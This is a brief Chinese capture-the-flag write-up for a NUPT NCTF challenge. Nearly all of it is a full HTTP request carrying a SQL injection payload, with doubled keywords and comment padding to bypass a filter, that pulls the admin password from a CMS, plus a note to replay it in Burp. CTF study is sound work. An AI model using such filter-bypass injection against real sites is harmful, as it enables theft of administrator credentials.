南邮NCTF综合题2

构造查询管理员密码的payload:

POST /so.php HTTP/1.1
Host: cms.nuptzj.cn
Proxy-Connection: keep-alive
Content-Length: 151
Cache-Control: max-age=0
Origin: http://cms.nuptzj.cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Xlcteam Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://cms.nuptzj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0256566aa46f905e7a8035191fff2f56

soid=0/**/UnIunionOn/**/seLselectEct/**/1,(sEselectlect/**/userPapassSS/**/fRfromom/**/Adadminmin/**/where/**/userNanameme/**/like/**/0x61646d696e),3,4

将该包放到burp里重放即可: